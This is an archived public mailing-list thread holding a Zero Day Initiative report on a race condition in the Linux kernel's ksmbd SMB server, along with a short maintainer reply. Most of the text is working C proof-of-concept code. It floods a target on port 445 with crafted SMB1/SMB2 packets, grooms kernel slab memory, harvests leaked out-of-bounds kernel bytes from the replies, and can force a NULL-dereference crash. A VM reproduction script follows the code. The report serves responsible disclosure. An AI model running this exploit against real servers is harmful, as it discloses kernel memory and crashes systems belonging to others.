int i, nz = 0;
if (have - off < plen + 4)
break;
st->replies++;
if (plen < SMB2_HDR_SIZE) {
st->short_reply++;
if (plen >= 4)
bump(st, m, plen, 0);
off += plen + 4;
continue;
}
/* m+36..39 TreeId, m+40..47 SessionId, m+48..63 Signature:
* for -S 35 all three are copied by init_smb2_rsp_hdr()
* from PAST the end of the request allocation.
* This counter scores m[40..63], the last 24 of the 28
* disclosed bytes: the TreeId word is not scored, so every
* 'nonzero' figure is a lower bound. The attached logs were
* produced with exactly this scoring. */
for (i = 40; i < 64; i++)
if (m[i])
nz = 1;
bump(st, m, plen, nz);
{
int mk = 0;
for (i = 40; i <= 60; i++)
if (!memcmp(m + i, MARK, 4))
mk = 1;
if (mk) {
st->marker++;
if (st->nsamp < 12) {
st->nsamp++;
printf("K1RIG:MARK:tag=%s:plen=%u:"
"st=%08x:bytes=", g_tag, plen,
get32(m + 8));
for (i = 36; i < 64; i++)
printf("%02x", m[i]);
printf(":END\n");
}
}
}
if (get32(m + 8) == ST_USER_SESSION_DELETED) {
st->leaks++;
if (nz)
st->nonzero_leak++;
classify(st, m);
if (g_bid)
bid_score(st, m);
if (st->nsamp < 16 && (nz || st->nsamp < 2)) {
st->nsamp++;
printf("K1RIG:SAMP:tag=%s:proto=%02x%02x%02x%02x:"
"plen=%u:cmd=%u:mid=%08x:tree=%08x:"
"sess=%016llx:sig=",
g_tag, m[0], m[1], m[2], m[3], plen,
get16(m + 12), get32(m + 24),
get32(m + 36),
(unsigned long long)get32(m + 40) |
((unsigned long long)get32(m + 44) << 32));
for (i = 48; i < 64; i++)
printf("%02x", m[i]);
/* raw = msg offsets 36..63 exactly as they
* came off the wire, no byte-order games. */
printf(":raw=");
for (i = 36; i < 64; i++)
printf("%02x", m[i]);
printf(":END\n");
}
if (verbose) {
printf("K1RIG:LEAK:tag=%u:bytes=",
get32(m + 24));
/* the disclosed window is m[36..63]; m[64..] is the
* error-response body the kernel writes itself. */
for (i = 36; i < 64; i++)
printf("%02x", m[i]);
printf(":END\n");
}
}
off += plen + 4;
}
if (off) {
memmove(rx, rx + off, have - off);
have -= off;
}
}
}
static volatile sig_atomic_t g_stop;
static void on_alarm(int sig) { (void)sig; g_stop = 1; }
/*
* PAINTER (phase P3). Fills kmalloc-64 slots with MARK and never reads.
* smb1_len is fixed at 59 by the caller: 59 + 4 + 1 == 64 == the whole slot.
*/
static int child_paint(const char *host, int port, uint32_t smb1_len,
uint32_t seconds, int paint_id, unsigned long *sent)
{
static uint8_t buf[1 << 16];
uint8_t one[4096];
uint32_t i;
int s;
s = connect_to(host, port);
if (s < 0)
return 2;
signal(SIGALRM, on_alarm);
alarm(seconds);
while (!g_stop) {
size_t len = 0;
for (i = 0; i < 64; i++) {
uint32_t k;
memset(one, 0, smb1_len);
memcpy(one, SMB1_PROTO, 4);
one[4] = 0x00;
/* paint_id: PDU index k is buffer index k+4, and the
* value written IS that buffer index ��� the value
* encodes its own offset. MARK cannot do this. */
for (k = 8; k < smb1_len; k++)
one[k] = paint_id ? (uint8_t)(k + 4)
: MARK[k & 3];
if (len + smb1_len + 4 > sizeof(buf))
break;
len += frame(buf + len, one, smb1_len);
(*sent)++;
}
if (write(s, buf, len) != (ssize_t)len)
break;
}
close(s);
return 0;
}
static int child(const char *host, int port, uint32_t iters, uint32_t burst,
uint32_t smb1_len, uint16_t pidhigh, uint8_t cmdbyte,
uint16_t credit_request, int verbose, uint8_t fill,
uint32_t waitms, uint32_t echoes, struct stats *st)
{
uint8_t one[4096];
static uint8_t buf[1 << 20];
uint32_t i, j;
int s;
s = connect_to(host, port);
if (s < 0)
return 2;
for (i = 0; i < iters; i++) {
size_t len = 0;
for (j = 0; j < burst; j++) {
build_smb1_short(one, smb1_len, pidhigh, cmdbyte,
i * burst + j, fill);
if (len + smb1_len + 4 > sizeof(buf))
break;
len += frame(buf + len, one, smb1_len);
st->sent_smb1++;
}
/* THE FLIP: one legal SMB2 ECHO. Its arrival makes the connection
* thread run smb_common.c:442 init_smb3_11_server(), which stores
* the SMB2 conn->ops that every still-queued SMB1 work above will
* read at server.c:190/193. */
{
uint32_t k;
for (k = 0; k < echoes; k++) {
int el = build_echo(one, credit_request, i);
if (len + (size_t)el + 4 > sizeof(buf))
break;
len += frame(buf + len, one, (uint32_t)el);
}
}
if (write(s, buf, len) != (ssize_t)len)
break;
/* -W: hold still after the flip. While the peer sends nothing,
* the connection thread blocks in the receive loop and cannot
* run init_smb1_server() again, so every queued SMB1 work is
* dequeued with conn->ops still pointing at the SMB2 vector ���
* which is what carries the error reply back out. */
if (waitms)
drain_and_score(s, st, verbose, (int)waitms);
else
drain_and_score(s, st, verbose, (i % 64) ? 0 : 20);
}
/* 2000ms, not 200: without the KASAN console throttle (phases P2/P3) the
* child finishes its writes long before the server has answered them, and
* a short final drain scores rep=0 on a connection that did reply. */
drain_and_score(s, st, verbose, 2000);
drain_and_score(s, st, verbose, 2000);
close(s);
return 0;
}
/*
* MODE "null" (the NULL-dereference note in section 4). One pair per iteration, sent as two separate write(2)s
* so the connection thread is forced to go round the receive loop between them:
* 1. SMB2 command -X2 (default 3 = TREE_CONNECT): queued with the SMB2 ops.
* 2. short SMB1 PDU: makes the connection thread run
* fs/smb/server/smb_common.c:441 init_smb1_server(), storing
* conn->ops = &smb1_server_ops.
* The window that must be hit is between server.c:202 (call returns -EIO) and
* server.c:210 (load of conn->ops for ->is_sign_req). It is a few hundred
* nanoseconds wide; sweep -C and -I.
* The oracle for this mode is NOT the response and NOT KASAN ��� it is an oops
* ("BUG: kernel NULL pointer dereference", instruction fetch at 0x0) in the
* serial log, plus a permanently stuck connection thread because
* ksmbd_conn_r_count_dec() (server.c:320) never runs and connection.c:568
* wait_event(r_count == 0) then never completes.
*/
static int child_null(const char *host, int port, uint32_t iters,
uint32_t smb1_len, uint16_t smb2_cmd, uint8_t cmdbyte,
uint16_t credit_request, struct stats *st)
{
uint8_t one[4096], fr[4200];
uint32_t i;
int s, l;
s = connect_to(host, port);
if (s < 0)
return 2;
for (i = 0; i < iters; i++) {
size_t n;
l = build_smb2_cmd(one, smb2_cmd, credit_request, i);
n = frame(fr, one, (uint32_t)l);
if (write(s, fr, n) != (ssize_t)n)
break;
build_smb1_short(one, smb1_len, 2, cmdbyte, i, 0);
n = frame(fr, one, smb1_len);
if (write(s, fr, n) != (ssize_t)n)
break;
st->sent_smb1++;
if ((i & 0x3f) == 0)
drain_and_score(s, st, 0, 0);
}
drain_and_score(s, st, 0, 100);
close(s);
return 0;
}
/*
* Classification output. One short line per fact, every line self-identifying, so that a
* line the console shreds is dropped by the extractor instead of corrupting a
* count. Nothing here is interpreted in the guest.
*/
static void cls_report(struct stats *st)
{
unsigned int i, b, k;
unsigned long top = 0;
printf("K1RIG:CLS:tag=%s:c=%d:rep=%lu:allz=%lu:anyptr=%lu:ktext=%lu:"
"ascii=%lu:uptr=%lu:t4nz=%lu:END\n", g_tag, g_ci, st->c_rep,
st->c_allzero, st->c_anyptr, st->c_ktext, st->c_ascii,
st->c_uptr, st->c_tail4nz);
for (i = 0; i < 3; i++)
printf("K1RIG:CLW:tag=%s:c=%d:w=%u:off=%u:z=%lu:kt=%lu:km=%lu:"
"dm=%lu:vm=%lu:vme=%lu:ko=%lu:lo=%lu:ot=%lu:END\n",
g_tag, g_ci, i, 40 + 8 * i,
st->wcls[i][C_ZERO], st->wcls[i][C_KTEXT],
st->wcls[i][C_KMOD], st->wcls[i][C_DMAP],
st->wcls[i][C_VMALLOC], st->wcls[i][C_VMEMMAP],
st->wcls[i][C_KOTHER], st->wcls[i][C_LOW],
st->wcls[i][C_OTHER]);
for (b = 0; b < st->nhash; b++)
if (st->htab[b].n > top)
top = st->htab[b].n;
printf("K1RIG:CLF:tag=%s:c=%d:distinct=%u:hovf=%lu:sameprev=%lu:top=%lu:END\n",
g_tag, g_ci, st->nhash, st->hash_ovf, st->c_sameprev, top);
/* selection sort the prefix table, print the busiest 8 */
for (i = 0; i < st->npfx && i < 8; i++) {
unsigned int best = i;
for (b = i + 1; b < st->npfx; b++)
if (st->pfx[b].n > st->pfx[best].n)
best = b;
if (best != i) {
uint32_t tp = st->pfx[i].p;
unsigned long tn = st->pfx[i].n;
st->pfx[i] = st->pfx[best];
st->pfx[best].p = tp;
st->pfx[best].n = tn;
}
printf("K1RIG:CLP:tag=%s:c=%d:pfx=%06x:n=%lu:END\n",
g_tag, g_ci, st->pfx[i].p, st->pfx[i].n);
}
printf("K1RIG:CLPO:tag=%s:c=%d:npfx=%u:ovf=%lu:END\n",
g_tag, g_ci, st->npfx, st->pfx_ovf);
for (i = 0; i < st->nkt; i++)
printf("K1RIG:CLKT:tag=%s:c=%d:v=%016llx:n=%lu:END\n",
g_tag, g_ci, (unsigned long long)st->kt[i].v, st->kt[i].n);
printf("K1RIG:CLKTO:tag=%s:c=%d:nkt=%u:ovf=%lu:END\n",
g_tag, g_ci, st->nkt, st->kt_ovf);
for (k = C_KTEXT; k < NCLS; k++)
if (st->csamp[k])
printf("K1RIG:CLV:tag=%s:c=%d:k=%s:v=%016llx:END\n",
g_tag, g_ci, cls_name[k],
(unsigned long long)st->csamp[k]);
}
static void bid_report(struct stats *st)
{
int i;
printf("K1RIG:BIDS:tag=%s:c=%d:rep=%lu:full=%lu:any=%lu:tail=%lu:END\n",
g_tag, g_ci, st->bid_rep, st->bid_full, st->bid_any,
st->bid_tailpaint);
for (i = BID_LO; i <= BID_HI; i++)
printf("K1RIG:BID:tag=%s:c=%d:i=%d:m=%lu:mm1=%lu:mp1=%lu:END\n",
g_tag, g_ci, i, st->bid_m[i - BID_LO],
st->bid_mm1[i - BID_LO], st->bid_mp1[i - BID_LO]);
}
static void report(struct stats *st)
{
unsigned int b;
printf("K1RIG: CHILD sent_smb1=%lu replies=%lu LEAKS=%lu nonzero=%lu\n",
st->sent_smb1, st->replies, st->leaks, st->nonzero_leak);
printf("K1RIG:CHILD2:tag=%s:sent=%lu:rep=%lu:leaks=%lu:nz=%lu:mark=%lu:"
"short=%lu:ovf=%lu:bins=%u:END\n", g_tag, st->sent_smb1,
st->replies, st->leaks, st->nonzero_leak, st->marker,
st->short_reply, st->bucket_overflow, st->nbuck);
for (b = 0; b < st->nbuck; b++)
printf("K1RIG:BIN:tag=%s:proto=%02x%02x%02x%02x:plen=%u:st=%08x:"
"n=%lu:nz=%lu:END\n", g_tag,
st->buck[b].proto[0], st->buck[b].proto[1],
st->buck[b].proto[2], st->buck[b].proto[3],
st->buck[b].plen, st->buck[b].status,
st->buck[b].n, st->buck[b].nz);
cls_report(st);
if (g_bid)
bid_report(st);
}
/*
* One phase = npaint painter connections (phase P3 only) plus nconn leaker
* connections, all forked, all waited for.
*/
static void phase(const char *tag, const char *host, int port, uint32_t conns,
uint32_t iters, uint32_t burst, uint32_t smb1_len,
uint16_t pidhigh, uint8_t cmdbyte, uint16_t credit_request,
int verbose, uint8_t fill, uint32_t waitms, uint32_t echoes,
uint32_t npaint, uint32_t paint_secs, int paint_id)
{
uint32_t i;
printf("K1RIG:PHASE:tag=%s:conns=%u:iters=%u:burst=%u:smb1len=%u:"
"alloc=%u:fill=%02x:painters=%u:END\n", tag, conns, iters, burst,
smb1_len, smb1_len + 5, fill, npaint);
printf("K1RIG:PHASEB:tag=%s:paint_id=%d:bid=%d:END\n", tag, paint_id, g_bid);
for (i = 0; i < npaint; i++) {
pid_t pid = fork();
if (pid == 0) {
unsigned long sent = 0;
g_tag = tag;
child_paint(host, port, 59, paint_secs, paint_id, &sent);
printf("K1RIG:PAINT:tag=%s:sent=%lu:END\n", tag, sent);
_exit(0);
}
}
for (i = 0; i < conns; i++) {
pid_t pid = fork();
if (pid == 0) {
struct stats st;
g_tag = tag;
g_ci = (int)i;
memset(&st, 0, sizeof(st));
child(host, port, iters, burst, smb1_len, pidhigh,
cmdbyte, credit_request, verbose, fill, waitms,
echoes, &st);
report(&st);
_exit(0);
} else if (pid < 0) {
printf("K1RIG: FAIL fork: %s\n", strerror(errno));
break;
}
}
while (wait(NULL) > 0)
;
printf("K1RIG:PHASEDONE:tag=%s:END\n", tag);
}
/*
* Reference addresses read once from the LOCAL /proc/kallsyms ��� i.e. the kernel of
* the host this program runs on, which is the target only when the program is run
* on the target itself. Their job is to let the classifier's ranges be checked
* against a real kernel instead of against a table. They say nothing about a
* remote target, and most systems return zeroes here to an unprivileged reader.
*/
static void print_kref(void)
{
static const char *want[] = { "_stext", "_etext", "__start_rodata",
"__end_rodata", "_edata", "_end",
"init_smb2_rsp_hdr",
"ksmbd_conn_handler_loop", NULL };
char line[512];
FILE *f = fopen("/proc/kallsyms", "r");
int i;
if (!f) {
printf("K1RIG:KREF:local:none:END\n");
return;
}
while (fgets(line, sizeof(line), f)) {
char addr[32], type, name[256];
if (sscanf(line, "%31s %c %255s", addr, &type, name) != 3)
continue;
for (i = 0; want[i]; i++)
if (!strcmp(name, want[i]))
printf("K1RIG:KREF:local:%s=%s:END\n", name, addr);
}
fclose(f);
}
static void usage(const char *me)
{
printf(
"Usage: %s -h <host> [-p port] [-C conns] [-I iters] [-B burst] [-S smb1len]\n"
" [-X pidhigh] [-c cmdbyte] [-R creditreq] [-M mode] [-Y smb2cmd] [-v]\n"
"\n"
" -h HOST target IPv4 address, literal only (required)\n"
" -p PORT target port (default 445)\n"
" -C CONNS parallel connections, one forked child each (default 4)\n"
" -I ITERS bursts per connection (default 2000)\n"
" -B BURST short SMB1 PDUs per burst, before the ECHO (default 64)\n"
" -S LEN RFC1002 length of each SMB1 PDU (default 35)\n"
" connection.c:506 rejects < 35 (sizeof(struct smb_hdr)+2).\n"
" DETECTABILITY: allocation is LEN+5.\n"
" LEN 35 -> 40 bytes in kmalloc-64, redzone 24, the 4-byte\n"
" TreeId read at index 40..43 is fully inside it. BEST.\n"
" LEN 36..58 -> still kmalloc-64, redzone 64-(LEN+5) > 0.\n"
" LEN 59 -> alloc 64 == exact bucket, redzone ZERO, the read\n"
" lands in a live neighbour. A NO-CRASH there is void.\n"
" LEN >= 64 -> no overrun at all; use as the negative control.\n"
" -X PID SMB1 PidHigh, i.e. smb2_hdr.Command for the confused reader\n"
" (default 2=LOGOFF)\n"
" Avoid 0,1,13 (session-free opcodes), 16 (QUERY_INFO bails at\n"
" smb2pdu.c:676), 11 and 14 (force the large response alloc).\n"
" -c BYTE SMB1 Command byte (default 0x00)\n"
" 0x00 keeps ksmbd_verify_smb_message() short of the\n"
" outstanding_credits++ at smb_common.c:167. 0x72 restores the\n"
" round-1 behaviour and will strangle the connection.\n"
" -R N CreditRequest on the ECHO (default 512)\n"
" -M MODE 0 = opsflip (this report, OOB read + wire leak) (default 0)\n"
" 1 = null (the NULL-dereference note in section 4, NULL ->is_sign_req at server.c:210)\n"
" 4 = suite P1 -S 35 positive, P2 -S 64 painted plumbing\n"
" control, P3 -S 35 with kmalloc-64 painters\n"
" 5 = byteid ARM B. B0 unpainted baseline then B1 with painters\n"
" that write buffer[i] = i. Per-index match histogram\n"
" over reply indices 40..67 (K1RIG:BID lines).\n"
" -Y CMD mode 1 only: SMB2 Command of the racing request (default 3)\n"
" must NOT be 0, 1 or 13 (smb2pdu.c:718 returns 0 for those).\n"
" -F BYTE paint SMB1 PDU offsets 32.. with BYTE (0 = leave zero, default)\n"
" with -S 64 this covers msg 36..63 and proves the plumbing.\n"
" -W MS after the flip, wait MS ms draining before the next burst.\n"
" 0 (default) = round-1 cadence, never idle.\n"
" -E N trailing SMB2 ECHOes per burst (default 1)\n"
" -D SECS phase P3 painter lifetime (default 120)\n"
" -v print every leaked 28-byte disclosed window\n"
"\n"
"Oracles, in order of strength:\n"
" 1. userspace : any 'LEAKS' > 0 line means an SMB1 work was executed with\n"
" the SMB2 ops vector and 28 bytes past the allocation came back\n"
" on the wire. No sanitizer needed.\n"
" 2. KASAN : slab-out-of-bounds READ in init_smb2_rsp_hdr, object\n"
" kmalloc-64 allocated in ksmbd_conn_handler_loop.\n"
" 3. NULL deref : if server.c:210 loads the SMB1 ops after server.c:202 loaded\n"
" the SMB2 ones, conn->ops->is_sign_req is NULL and the kworker\n"
" oopses. Rarer; same run produces it.\n"
"\n"
"Examples:\n"
" %s -h 10.0.2.15 -C 4 -I 2000 -B 64 -S 35\n"
" %s -h 10.0.2.15 -C 8 -I 5000 -B 128 -S 35 -v\n"
" %s -h 10.0.2.15 -C 4 -I 2000 -B 64 -S 64 # negative control\n",
me, me, me, me);
}
int main(int argc, char **argv)
{
const char *host = NULL;
uint32_t conns = 4, iters = 2000, burst = 64, smb1_len = 35;
uint16_t pidhigh = 2, credit_request = 512;
uint8_t cmdbyte = 0x00;
uint16_t smb2_cmd = 3; /* SMB2_TREE_CONNECT_HE */
uint8_t fill = 0;
uint32_t waitms = 0, echoes = 1, paint_secs = 120;
int port = 445, verbose = 0, mode = 0, c;
uint32_t i;
while ((c = getopt(argc, argv, "h:p:C:I:B:S:X:c:R:M:Y:F:W:E:D:v?")) != -1) {
switch (c) {
case 'h': host = optarg; break;
case 'p': port = atoi(optarg); break;
case 'C': conns = (uint32_t)strtoul(optarg, NULL, 0); break;
case 'I': iters = (uint32_t)strtoul(optarg, NULL, 0); break;
case 'B': burst = (uint32_t)strtoul(optarg, NULL, 0); break;
case 'S': smb1_len = (uint32_t)strtoul(optarg, NULL, 0); break;
case 'X': pidhigh = (uint16_t)strtoul(optarg, NULL, 0); break;
case 'c': cmdbyte = (uint8_t)strtoul(optarg, NULL, 0); break;
case 'R': credit_request = (uint16_t)strtoul(optarg, NULL, 0); break;
case 'M': mode = atoi(optarg); break;
case 'Y': smb2_cmd = (uint16_t)strtoul(optarg, NULL, 0); break;
case 'F': fill = (uint8_t)strtoul(optarg, NULL, 0); break;
case 'W': waitms = (uint32_t)strtoul(optarg, NULL, 0); break;
case 'E': echoes = (uint32_t)strtoul(optarg, NULL, 0); break;
case 'D': paint_secs = (uint32_t)strtoul(optarg, NULL, 0); break;
case 'v': verbose = 1; break;
default: usage(argv[0]); return 0;
}
}
if (argc == 1 || !host) {
usage(argv[0]);
return argc == 1 ? 0 : 2;
}
if (mode != 4 && (smb1_len < 35 || smb1_len > 4096)) {
printf("K1RIG: FAIL -S must be >= 35 (connection.c:506) and <= 4096\n");
return 2;
}
if (conns == 0)
conns = 1;
setvbuf(stdout, NULL, _IONBF, 0);
print_kref();
printf("K1RIG: START host=%s port=%d mode=%s\n", host, port,
mode ? "null(the NULL-dereference note in section 4)" : "opsflip(this report)");
printf("K1RIG: PLAN conns=%u iters=%u burst=%u smb1_len=%u alloc=%u "
"bucket=%s pidhigh=0x%04x cmdbyte=0x%02x\n",
conns, iters, burst, smb1_len, smb1_len + 5,
(smb1_len + 5) <= 64 ? "kmalloc-64" : "kmalloc-128",
pidhigh, cmdbyte);
printf("K1RIG: PLAN sink=init_smb2_rsp_hdr (smb2pdu.c:632) reads msg off "
"36..63 == buf index %u..%u of a %u-byte allocation\n",
40u, 67u, smb1_len + 5);
printf("K1RIG: PLAN flip=init_smb3_11_server (smb_common.c:441) driven by "
"%u 68-byte SMB2 ECHO at the tail of every burst\n", echoes);
printf("K1RIG:PLAN2:fill=%02x:waitms=%u:echoes=%u:smb1len=%u:END\n",
fill, waitms, echoes, smb1_len);
if (mode == 5) {
/* ARM B ��� byte-for-byte mapping test.
* B0 runs FIRST and with NO painters: it measures the
* accidental-match baseline (a random byte equals its own index
* with p = 1/256). B1 is the same leakers with self-describing
* painters running. Order matters: painted memory left by B1
* would contaminate a B0 that ran after it. */
g_bid = 1;
phase("B0", host, port, conns, iters, burst, 35, pidhigh,
cmdbyte, credit_request, verbose, 0, waitms, echoes,
0, 0, 0);
phase("B1", host, port, conns, iters, burst, 35, pidhigh,
cmdbyte, credit_request, verbose, 0, waitms, echoes,
conns, paint_secs, 1);
printf("K1RIG: BYTEID done\n");
printf("K1RIG: RUN-COMPLETE\n");
return 0;
}
if (mode == 4) {
/* P1 positive : -S 35, the shape this report is CONFIRMED at.
* P2 plumbing : -S 64 painted 0xAA. Same code path, but msg
* 36..63 is INSIDE the allocation, so a reply
* carrying 0xAA proves those fields reach the
* wire, and 0 new KASAN reports proves the -S 35
* window really was out of bounds.
* P3 groomed : -S 35 with painter connections filling
* kmalloc-64 with MARK first. */
phase("P1", host, port, conns, iters, burst, 35, pidhigh,
cmdbyte, credit_request, verbose, 0, waitms, echoes, 0, 0, 0);
phase("P2", host, port, conns, iters, burst, 63, pidhigh,
cmdbyte, credit_request, verbose, 0xaa, waitms, echoes, 0, 0, 0);
phase("P3", host, port, conns, iters, burst, 35, pidhigh,
cmdbyte, credit_request, verbose, 0, waitms, echoes,
conns, paint_secs, 0);
printf("K1RIG: OPSFLIP done\n");
printf("K1RIG: RUN-COMPLETE\n");
return 0;
}
for (i = 0; i < conns; i++) {
pid_t pid = fork();
if (pid == 0) {
struct stats st;
g_ci = (int)i;
memset(&st, 0, sizeof(st));
int r = mode ?
child_null(host, port, iters, smb1_len,
smb2_cmd, cmdbyte, credit_request,
&st) :
child(host, port, iters, burst, smb1_len,
pidhigh, cmdbyte, credit_request,
verbose, fill, waitms, echoes, &st);
report(&st);
_exit(r);
} else if (pid < 0) {
printf("K1RIG: FAIL fork: %s\n", strerror(errno));
break;
}
}
while (wait(NULL) > 0)
;
printf("K1RIG: OPSFLIP done\n");
printf("K1RIG: RUN-COMPLETE\n");
return 0;
}
```
---
# Reproduction Driver: reproduce.sh
```bash
#!/bin/bash
# reproduce.sh ��� host-side driver for the ksmbd ops-flip OOB read reproduction.
#
# Reproduces report.txt (ksmbd protocol-dispatch race, OOB read in
# init_smb2_rsp_hdr) inside the QEMU VM provided by /root/image/run-vm.sh.
#
# Steps (report section 5.2):
# 1. Boot the VM (kernel 7.3-rc3, CONFIG_SMB_SERVER=y, CONFIG_KASAN=y)
# via /root/image/run-vm.sh, image has ksmbd-tools + tcpdump installed.
# 2. Drive the guest over SSH (hostfwd 127.0.0.1:10021 -> guest:22):
# - minimal ksmbd.conf (report section 4.5): netbios name + /srv/share
# - start ksmbd.mountd
# - start tcpdump on port 445 (remote attack vector -> pcap)
# - run PoC positive case: ./poc -h 127.0.0.1 -C 8 -I 400 -B 64 -S 35
# - run PoC negative control: ./poc -h 127.0.0.1 -C 8 -I 400 -B 64 -S 64
# - collect dmesg (KASAN reports)
# 3. Copy artifacts back to host:
# reproduce-stdout.log ��� full stdout of this script + guest run
# kasan-report.txt ��� dmesg with KASAN slab-out-of-bounds reports
# attack-capture.pcap ��� port-445 traffic captured during the attack
# 4. Shut the VM down.
#
# All host-visible output is tee'd to reproduce-stdout.log.
set -u
VMIMG=/root/image/trixie.img
RUNVM=/root/image/run-vm.sh
SSHKEY=/root/image/trixie.id_rsa
SSHPORT=10021
GUEST_DIR=/root/opsflip-repro
OUTDIR=/root/zdi/repro-out
VMTIMEOUT=180
mkdir -p "$OUTDIR"
echo "=== ksmbd ops-flip reproduction $(date) ==="
# ---------------------------------------------------------------- boot the VM
echo "[host] starting VM via $RUNVM (background)"
rm -f /root/image/vm.pid
setsid "$RUNVM" > "$OUTDIR/vm-console.log" 2>&1 &
VMPID=$!
echo "[host] run-vm.sh wrapper pid $VMPID"
cleanup() {
local rc=$?
echo "[host] cleanup: shutting VM down"
ssh -p $SSHPORT -i "$SSHKEY" -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 root@127.0.0.1 \
'nohup sh -c "systemctl poweroff" >/dev/null 2>&1 &' 2>/dev/null
sleep 5
if [ -f /root/image/vm.pid ]; then
kill "$(cat /root/image/vm.pid)" 2>/dev/null
fi
kill "$VMPID" 2>/dev/null
pkill -f 'qemu-system-x86_64.*trixie.img' 2>/dev/null
exit $rc
}
trap cleanup EXIT INT TERM
# ---------------------------------------------------- wait for SSH to come up
echo "[host] waiting for guest SSH (up to ${VMTIMEOUT}s)"
up=0
for i in $(seq 1 $VMTIMEOUT); do
if ssh -p $SSHPORT -i "$SSHKEY" -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null -o ConnectTimeout=5 -o BatchMode=yes \
root@127.0.0.1 'true' >/dev/null 2>&1; then
up=1
break
fi
sleep 1
done
if [ "$up" != 1 ]; then
echo "[host] FATAL: guest SSH never came up; see $OUTDIR/vm-console.log"
exit 1
fi
echo "[host] guest SSH is up after ~${i}s"
GUEST="ssh -p $SSHPORT -i $SSHKEY -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null -o ConnectTimeout=15 root@127.0.0.1"
$GUEST 'uname -a; id; ls /root/opsflip-repro/'
# ------------------------------------------------------------ run in the guest
echo "[host] launching guest-side run script"
$GUEST "bash $GUEST_DIR/guest-run.sh" 2>&1 | tee "$OUTDIR/guest-run.out"
echo "[host] guest run finished"
# -------------------------------------------------------------- fetch artifacts
echo "[host] fetching artifacts"
$GUEST "cat $GUEST_DIR/kasan-report.txt" > "$OUTDIR/kasan-report.txt" 2>&1
$GUEST "cat $GUEST_DIR/mountd.log" > "$OUTDIR/mountd.log" 2>&1
$GUEST "cat $GUEST_DIR/run-stdout.log" > /dev/null 2>&1 || true
# pcap can be big; gzip in guest if scp not available, else just scp
if scp -P $SSHPORT -i "$SSHKEY" -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
"root@127.0.0.1:$GUEST_DIR/attack-capture.pcap" \
"$OUTDIR/attack-capture.pcap" 2>/dev/null; then
echo "[host] pcap fetched via scp"
else
echo "[host] scp failed, trying base64 over ssh"
$GUEST "base64 -w0 $GUEST_DIR/attack-capture.pcap" > "$OUTDIR/pcap.b64" \
&& base64 -d "$OUTDIR/pcap.b64" > "$OUTDIR/attack-capture.pcap" \
&& rm -f "$OUTDIR/pcap.b64" \
&& echo "[host] pcap fetched via base64"
fi
# also keep the raw PoC stdout from the guest
$GUEST "cat $GUEST_DIR/guest-poc-stdout.log" > "$OUTDIR/guest-poc-stdout.log" 2>&1 || true
echo
echo "=== summary ==="
echo "--- KASAN slab-out-of-bounds in init_smb2_rsp_hdr: $(grep -c 'slab-out-of-bounds in init_smb2_rsp_hdr' "$OUTDIR/kasan-report.txt" 2>/dev/null || echo 0)"
echo "--- total BUG: KASAN lines: $(grep -c 'BUG: KASAN' "$OUTDIR/kasan-report.txt" 2>/dev/null || echo 0)"
ls -la "$OUTDIR"
echo "=== reproduction driver complete ==="
```
-- CREDIT ---------------------------------------
This vulnerability was discovered by:
Hyeontae Lee working with TrendAI Zero Day Initiative
-- FURTHER DETAILS ------------------------------
Supporting files:
If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.
Please confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:
Zero Day Initiative
zdi-disclosures@trendmicro.com
The PGP key used for all ZDI vendor communications is available from:
http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc
-- INFORMATION ABOUT THE ZDI --------------------
Established by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.
Please contact us for further details or refer to:
http://www.zerodayinitiative.com
-- DISCLOSURE POLICY ----------------------------
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
TREND MICRO EMAIL NOTICE
The information contained in this email and any attachments is confidential
and may be subject to copyright or other intellectual property protection.
If you are not the intended recipient, you are not authorized to use or
disclose this information, and we request that you notify us by reply mail or
telephone and delete the original message from your mail system.
For details about what personal information we collect and why, please see our Privacy Notice on our website at: [ https://www.trendmicro.com/privacy]
^ permalink raw reply [flat|nested] 2+ messages in thread* Re: ZDI-CAN-33774: New Vulnerability Report
2026-10-21 21:36 ZDI-CAN-33774: New Vulnerability Report zdi-disclosures
@ 2026-10-22 4:45 ` Greg KH
0 siblings, 0 replies; 2+ messages in thread
From: Greg KH @ 2026-10-22 4:45 UTC (permalink / raw)
To: zdi-disclosures
Cc: security, Namjae Jeon, Sergey Senozhatsky, Tom Talpey,
ChenXiaoSong, open list:KERNEL SMB3 SERVER (KSMBD, open list
On Wed, Oct 21, 2026 at 09:36:37PM +0000, zdi-disclosures@trendmicro.com wrote:
> ZDI-CAN-33774: Linux Kernel KSMBD Protocol Dispatch Race Condition Remote Code Execution Vulnerability
And again, no patch, and a public list?
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-10-22 4:45 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-10-21 21:36 ZDI-CAN-33774: New Vulnerability Report zdi-disclosures
2026-10-22 4:45 ` Greg KH
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®